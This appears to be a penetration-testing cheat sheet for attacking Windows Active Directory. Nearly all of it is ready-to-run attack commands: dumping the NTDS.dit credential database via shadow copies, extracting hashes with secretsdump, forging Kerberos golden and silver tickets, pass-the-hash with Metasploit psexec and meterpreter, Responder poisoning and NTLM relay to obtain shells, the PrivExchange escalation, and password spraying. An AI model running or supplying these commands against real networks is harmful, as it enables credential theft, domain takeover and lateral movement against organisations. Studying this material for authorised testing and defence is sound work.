Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

Using a ticket on Linux
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi
Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
PassTheTicket Silver Tickets
Forging a TGS require machine accound password (key) from the KDC
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
/kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket for any domain service with GetUserSPNs
. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

also works with net range : cme smb 10.2.0.2/24 ...
or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com

Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR
, MDNS
and NETBIOS
requests on the network.
python Responder.py -I eth0
Then crack the hash with hashcat
hashcat -m 5600 -a 0 hash.txt crackstation.txt
NTLMv2 hashes relaying
If a machine has SMB signing
:disabled
, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay
and get a shell access on the machine.
- Open the Responder.conf file and set the value of
SMB
andHTTP
toOff
. - Run
python RunFinger.py -i IP_Range
to detect machine withSMB signing
:disabled
. - Run
python Responder.py -I <interface_card>
andpython MultiRelay.py -t <target_machine_IP> -u ALL
- Wait for a shell

PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange. You need a shell on a user account with a mailbox.
-
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server.

Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
-
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
python secretsdump.py xxxxxxxxxx -just-dc
Alternatively you can use the Metasploit module
use auxiliary/scanner/http/exchange_web_server_pushsubscription
Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
Using kerbrute
, a tool to perform Kerberos pre-auth bruteforcing.
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
Using crackmapexec
and mp64
to generate passwords and spray them against SMB services on the network.
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
Using RDPassSpray to target RDP services.
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
Most of the time the best passwords to spray are :
- Password1
- Welcome1
- $Companyname1
